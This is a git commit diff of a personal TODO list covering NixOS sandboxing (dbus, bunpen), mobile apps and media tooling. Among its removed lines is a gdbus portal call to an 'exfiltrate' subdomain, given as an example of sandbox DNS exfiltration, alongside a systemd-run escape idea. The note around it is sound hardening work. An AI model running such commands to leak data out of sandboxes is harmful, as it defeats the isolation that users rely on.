todo.md: sync

This commit is contained in:
2025-01-14 23:37:26 +00:00
parent 9fccd2cf86
commit 38a9c3baf4

11
TODO.md
View File

@@ -1,5 +1,6 @@
## BUGS ## BUGS
- alacritty Ctrl+N frequently fails to `cd` to the previous directory - alacritty Ctrl+N frequently fails to `cd` to the previous directory
- bunpen dbus sandboxing can't be *nested* (likely a problem in xdg-dbus-proxy)
- dissent has a memory leak (3G+ after 24hr) - dissent has a memory leak (3G+ after 24hr)
- set a max memory use in the systemd service, to force it to restart as it leaks? - set a max memory use in the systemd service, to force it to restart as it leaks?
- `rmDbusServices` may break sandboxing - `rmDbusServices` may break sandboxing
@@ -79,12 +80,7 @@
- port all sane.programs to be sandboxed - port all sane.programs to be sandboxed
- sandbox `nix` - sandbox `nix`
- enforce that all `environment.packages` has a sandbox profile (or explicitly opts out) - enforce that all `environment.packages` has a sandbox profile (or explicitly opts out)
- lock down dbus calls within the sandbox - enforce granular dbus sandboxing (bunpen-dbus-*)
- <https://github.com/flatpak/xdg-dbus-proxy>
- stuff on dbus presents too much surface area
- ~~for example anyone can `systemd-run --user ...` to potentially escape a sandbox~~
- for example, xdg-desktop-portal allows anyone to make arbitrary DNS requests
- e.g. `gdbus call --session --timeout 10 --dest org.freedesktop.portal.Desktop --object-path /org/freedesktop/portal/desktop --method org.freedesktop.portal.NetworkMonitor.CanReach 'data1.exfiltrate.uninsane.org' 80`
- make gnome-keyring-daemon less monolithic - make gnome-keyring-daemon less monolithic
- no reason every application with _a_ secret needs to see _all_ secrets - no reason every application with _a_ secret needs to see _all_ secrets
- check out oo7-daemon? - check out oo7-daemon?
@@ -110,7 +106,6 @@
- offline Wikipedia (or, add to `wike`) - offline Wikipedia (or, add to `wike`)
- some type of games manager/launcher - some type of games manager/launcher
- Gnome Highscore (retro games)?: <https://gitlab.gnome.org/World/highscore> - Gnome Highscore (retro games)?: <https://gitlab.gnome.org/World/highscore>
- better maps for mobile (Osmin (QtQuick)? Pure Maps (Qt/Kirigami)?)
- note-taking app: <https://linuxphoneapps.org/categories/note-taking/> - note-taking app: <https://linuxphoneapps.org/categories/note-taking/>
- Folio is nice, uses standard markdown, though it only supports flat repos - Folio is nice, uses standard markdown, though it only supports flat repos
- OSK overlay specifically for mobile gaming - OSK overlay specifically for mobile gaming
@@ -142,6 +137,7 @@
- SwayNC/nwg-panel: add option to change audio output - SwayNC/nwg-panel: add option to change audio output
- Newsflash: sync OPML on start, same way i do with gpodder - Newsflash: sync OPML on start, same way i do with gpodder
- better podcasting client? - better podcasting client?
- hardware upgrade (OnePlus)?
#### non-moby #### non-moby
- RSS: integrate a paywall bypass - RSS: integrate a paywall bypass
@@ -157,6 +153,7 @@
- maybe just color these "keywords" in all search results? - maybe just color these "keywords" in all search results?
- transmission: apply `sane-tag-media` path fix in `torrent-done` script - transmission: apply `sane-tag-media` path fix in `torrent-done` script
- many .mkv files do appear to be tagged: i'd just need to add support in my own tooling - many .mkv files do appear to be tagged: i'd just need to add support in my own tooling
- more aggressively cleanup non-media files after DL (ripper logos, info txts)
- uninsane.org: make URLs relative to allow local use (and as offline homepage) - uninsane.org: make URLs relative to allow local use (and as offline homepage)
- email: fix so that local mail doesn't go to junk - email: fix so that local mail doesn't go to junk
- git sendmail flow adds the DKIM signatures, but gets delivered locally w/o having the sig checked, so goes into Junk - git sendmail flow adds the DKIM signatures, but gets delivered locally w/o having the sig checked, so goes into Junk